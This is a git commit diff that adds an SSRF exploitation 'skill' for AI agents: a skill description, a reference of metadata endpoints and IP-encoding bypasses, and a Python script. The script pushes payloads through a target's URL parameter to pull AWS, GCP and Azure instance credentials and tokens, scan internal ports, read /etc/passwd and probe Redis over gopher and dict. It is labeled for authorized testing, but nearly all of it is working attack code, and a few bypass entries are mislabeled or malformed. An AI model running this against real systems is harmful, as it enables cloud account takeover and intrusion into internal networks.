mirror of
https://github.com/mukul975/Anthropic-Cybersecurity-Skills.git
synced 2026-07-20 06:20:58 +03:00
Add folder anatomy (scripts/agent.py + references/api-reference.md) for 648 cybersecurity skills
Complete skill folder anatomy across all cybersecurity skills: - scripts/agent.py: 80-150 line Python agents using real libraries (impacket, boto3, azure-mgmt-*, kubernetes, pefile, yara, scapy, shodan, stix2, etc.) - references/api-reference.md: real API documentation with method signatures - LICENSE: MIT license for all skill folders
This commit is contained in:
@@ -0,0 +1,21 @@
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2025 Anthropic Agent Skills Contributors
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
||||
@@ -0,0 +1,33 @@
|
||||
---
|
||||
name: performing-ssrf-vulnerability-exploitation
|
||||
description: >-
|
||||
Test for Server-Side Request Forgery vulnerabilities by probing cloud metadata endpoints,
|
||||
internal network services, and protocol handlers through user-controllable URL parameters.
|
||||
Tests AWS/GCP/Azure metadata APIs (169.254.169.254), internal port scanning via HTTP,
|
||||
URL scheme bypass techniques, and DNS rebinding detection.
|
||||
---
|
||||
|
||||
## Instructions
|
||||
|
||||
1. Install dependencies: `pip install requests`
|
||||
2. Identify URL parameters in the target application that accept URLs or hostnames.
|
||||
3. Test SSRF payloads:
|
||||
- Cloud metadata: `http://169.254.169.254/latest/meta-data/`
|
||||
- Internal services: `http://127.0.0.1:port/`, `http://10.0.0.1/`
|
||||
- Protocol handlers: `file:///etc/passwd`, `gopher://`, `dict://`
|
||||
- Bypass techniques: IP encoding, DNS rebinding, URL redirects
|
||||
4. Analyze responses for information disclosure or internal access confirmation.
|
||||
5. Generate a vulnerability assessment report.
|
||||
|
||||
```bash
|
||||
# For authorized penetration testing and lab environments only
|
||||
python scripts/agent.py --target-url https://app.example.com/fetch?url= --output ssrf_report.json
|
||||
```
|
||||
|
||||
## Examples
|
||||
|
||||
### AWS Metadata SSRF
|
||||
```
|
||||
GET /fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
|
||||
```
|
||||
If the response contains AWS credentials (AccessKeyId, SecretAccessKey), SSRF is confirmed with critical impact.
|
||||
@@ -0,0 +1,40 @@
|
||||
# API Reference: SSRF Vulnerability Testing
|
||||
|
||||
## Cloud Metadata Endpoints
|
||||
| Cloud | URL | Headers |
|
||||
|-------|-----|---------|
|
||||
| AWS IMDSv1 | `http://169.254.169.254/latest/meta-data/` | None |
|
||||
| AWS IMDSv2 | `http://169.254.169.254/latest/api/token` | `X-aws-ec2-metadata-token-ttl-seconds: 21600` |
|
||||
| GCP | `http://metadata.google.internal/computeMetadata/v1/` | `Metadata-Flavor: Google` |
|
||||
| Azure | `http://169.254.169.254/metadata/instance?api-version=2021-02-01` | `Metadata: true` |
|
||||
|
||||
## IP Encoding Bypass Techniques
|
||||
| Technique | 169.254.169.254 Encoded |
|
||||
|-----------|------------------------|
|
||||
| Decimal | `2852039166` |
|
||||
| Hex | `0xa9fea9fe` |
|
||||
| Octal | `0251.0376.0251.0376` |
|
||||
| IPv6 mapped | `[::ffff:169.254.169.254]` |
|
||||
| Shortened | `169.254.169.254` -> `0` (localhost) |
|
||||
|
||||
## Python requests
|
||||
```python
|
||||
import requests
|
||||
resp = requests.get(url, timeout=10, allow_redirects=False, verify=False)
|
||||
resp.status_code # HTTP status
|
||||
resp.text # Response body
|
||||
len(resp.content) # Response size
|
||||
resp.headers # Response headers
|
||||
```
|
||||
|
||||
## SSRF Impact Levels
|
||||
| Access | Impact | Severity |
|
||||
|--------|--------|----------|
|
||||
| Cloud metadata credentials | Full account compromise | Critical |
|
||||
| Internal service access | Lateral movement | High |
|
||||
| Local file read (file://) | Information disclosure | High |
|
||||
| Internal port scan | Reconnaissance | Medium |
|
||||
|
||||
## MITRE ATT&CK
|
||||
- T1190 - Exploit Public-Facing Application
|
||||
- T1552.005 - Cloud Instance Metadata API
|
||||
@@ -0,0 +1,175 @@
|
||||
#!/usr/bin/env python3
|
||||
# For authorized penetration testing and lab environments only
|
||||
"""SSRF Vulnerability Testing Agent - Tests for Server-Side Request Forgery via URL parameters."""
|
||||
|
||||
import json
|
||||
import logging
|
||||
import argparse
|
||||
from urllib.parse import urlencode
|
||||
from datetime import datetime
|
||||
|
||||
import requests
|
||||
|
||||
logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s")
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
METADATA_PAYLOADS = [
|
||||
{"name": "AWS IMDSv1 metadata", "url": "http://169.254.169.254/latest/meta-data/", "indicator": "ami-id"},
|
||||
{"name": "AWS IAM credentials", "url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/", "indicator": "AccessKeyId"},
|
||||
{"name": "AWS user-data", "url": "http://169.254.169.254/latest/user-data", "indicator": ""},
|
||||
{"name": "GCP metadata", "url": "http://metadata.google.internal/computeMetadata/v1/", "indicator": "attributes"},
|
||||
{"name": "GCP service account token", "url": "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token", "indicator": "access_token"},
|
||||
{"name": "Azure IMDS", "url": "http://169.254.169.254/metadata/instance?api-version=2021-02-01", "indicator": "compute"},
|
||||
{"name": "Azure managed identity", "url": "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/", "indicator": "access_token"},
|
||||
]
|
||||
|
||||
INTERNAL_SCAN_PORTS = [22, 80, 443, 3306, 5432, 6379, 8080, 8443, 9200, 27017]
|
||||
|
||||
BYPASS_PAYLOADS = [
|
||||
{"name": "Decimal IP", "url": "http://2852039166/latest/meta-data/"},
|
||||
{"name": "Hex IP", "url": "http://0xa9fea9fe/latest/meta-data/"},
|
||||
{"name": "Octal IP", "url": "http://0251.0376.0251.0376/latest/meta-data/"},
|
||||
{"name": "IPv6 mapped", "url": "http://[::ffff:169.254.169.254]/latest/meta-data/"},
|
||||
{"name": "Short URL localhost", "url": "http://0/"},
|
||||
{"name": "Redirect bypass", "url": "http://spoofed.burpcollaborator.net/redirect?url=http://169.254.169.254/"},
|
||||
{"name": "DNS rebinding", "url": "http://a]@169.254.169.254/latest/meta-data/"},
|
||||
]
|
||||
|
||||
|
||||
def test_ssrf_payload(target_url, ssrf_payload, timeout=10):
|
||||
"""Send an SSRF payload through the target URL parameter."""
|
||||
test_url = f"{target_url}{ssrf_payload}"
|
||||
try:
|
||||
resp = requests.get(test_url, timeout=timeout, allow_redirects=False, verify=False)
|
||||
return {
|
||||
"status_code": resp.status_code,
|
||||
"response_length": len(resp.content),
|
||||
"response_preview": resp.text[:500],
|
||||
"headers": dict(resp.headers),
|
||||
}
|
||||
except requests.RequestException as e:
|
||||
return {"error": str(e)}
|
||||
|
||||
|
||||
def test_metadata_endpoints(target_url):
|
||||
"""Test cloud metadata SSRF payloads."""
|
||||
findings = []
|
||||
for payload in METADATA_PAYLOADS:
|
||||
result = test_ssrf_payload(target_url, payload["url"])
|
||||
vulnerable = False
|
||||
if "error" not in result:
|
||||
if result["status_code"] == 200 and result["response_length"] > 10:
|
||||
if payload["indicator"] and payload["indicator"] in result.get("response_preview", ""):
|
||||
vulnerable = True
|
||||
elif not payload["indicator"] and result["response_length"] > 50:
|
||||
vulnerable = True
|
||||
findings.append({
|
||||
"test": payload["name"],
|
||||
"payload": payload["url"],
|
||||
"vulnerable": vulnerable,
|
||||
"severity": "critical" if vulnerable else "info",
|
||||
"response_status": result.get("status_code"),
|
||||
"response_length": result.get("response_length", 0),
|
||||
})
|
||||
if vulnerable:
|
||||
logger.warning("SSRF confirmed: %s", payload["name"])
|
||||
return findings
|
||||
|
||||
|
||||
def test_internal_port_scan(target_url, internal_ip="127.0.0.1"):
|
||||
"""Use SSRF to scan internal ports."""
|
||||
open_ports = []
|
||||
for port in INTERNAL_SCAN_PORTS:
|
||||
payload = f"http://{internal_ip}:{port}/"
|
||||
result = test_ssrf_payload(target_url, payload, timeout=5)
|
||||
if "error" not in result and result["status_code"] != 502:
|
||||
open_ports.append({
|
||||
"ip": internal_ip,
|
||||
"port": port,
|
||||
"status": result["status_code"],
|
||||
"response_length": result["response_length"],
|
||||
})
|
||||
logger.info("Internal port open: %s:%d (status: %d)", internal_ip, port, result["status_code"])
|
||||
return open_ports
|
||||
|
||||
|
||||
def test_bypass_techniques(target_url):
|
||||
"""Test SSRF filter bypass techniques."""
|
||||
bypass_results = []
|
||||
for payload in BYPASS_PAYLOADS:
|
||||
result = test_ssrf_payload(target_url, payload["url"], timeout=5)
|
||||
success = "error" not in result and result.get("status_code") == 200 and result.get("response_length", 0) > 10
|
||||
bypass_results.append({
|
||||
"technique": payload["name"],
|
||||
"payload": payload["url"],
|
||||
"bypassed": success,
|
||||
"severity": "high" if success else "info",
|
||||
})
|
||||
if success:
|
||||
logger.warning("SSRF bypass succeeded: %s", payload["name"])
|
||||
return bypass_results
|
||||
|
||||
|
||||
def test_protocol_handlers(target_url):
|
||||
"""Test non-HTTP protocol handlers for SSRF."""
|
||||
protocols = [
|
||||
{"name": "file:// protocol", "url": "file:///etc/passwd", "indicator": "root:"},
|
||||
{"name": "gopher:// protocol", "url": "gopher://127.0.0.1:6379/_INFO", "indicator": "redis"},
|
||||
{"name": "dict:// protocol", "url": "dict://127.0.0.1:6379/INFO", "indicator": "redis"},
|
||||
]
|
||||
results = []
|
||||
for proto in protocols:
|
||||
result = test_ssrf_payload(target_url, proto["url"], timeout=5)
|
||||
vulnerable = (
|
||||
"error" not in result
|
||||
and result.get("status_code") == 200
|
||||
and proto["indicator"] in result.get("response_preview", "")
|
||||
)
|
||||
results.append({
|
||||
"protocol": proto["name"],
|
||||
"payload": proto["url"],
|
||||
"vulnerable": vulnerable,
|
||||
"severity": "critical" if vulnerable else "info",
|
||||
})
|
||||
return results
|
||||
|
||||
|
||||
def generate_report(metadata_findings, port_scan, bypass_results, protocol_results):
|
||||
"""Generate SSRF assessment report."""
|
||||
critical = (
|
||||
[f for f in metadata_findings if f["vulnerable"]]
|
||||
+ [b for b in bypass_results if b["bypassed"]]
|
||||
+ [p for p in protocol_results if p["vulnerable"]]
|
||||
)
|
||||
report = {
|
||||
"timestamp": datetime.utcnow().isoformat(),
|
||||
"metadata_tests": metadata_findings,
|
||||
"internal_port_scan": port_scan,
|
||||
"bypass_techniques": bypass_results,
|
||||
"protocol_handlers": protocol_results,
|
||||
"vulnerabilities_found": len(critical),
|
||||
}
|
||||
print(f"SSRF REPORT: {len(critical)} vulnerabilities found")
|
||||
return report
|
||||
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(description="SSRF Vulnerability Testing Agent")
|
||||
parser.add_argument("--target-url", required=True, help="Target URL with SSRF parameter (e.g. https://app/fetch?url=)")
|
||||
parser.add_argument("--internal-ip", default="127.0.0.1", help="Internal IP for port scan")
|
||||
parser.add_argument("--output", default="ssrf_report.json")
|
||||
args = parser.parse_args()
|
||||
|
||||
metadata = test_metadata_endpoints(args.target_url)
|
||||
ports = test_internal_port_scan(args.target_url, args.internal_ip)
|
||||
bypasses = test_bypass_techniques(args.target_url)
|
||||
protocols = test_protocol_handlers(args.target_url)
|
||||
|
||||
report = generate_report(metadata, ports, bypasses, protocols)
|
||||
with open(args.output, "w") as f:
|
||||
json.dump(report, f, indent=2)
|
||||
logger.info("Report saved to %s", args.output)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
Reference in New Issue
Block a user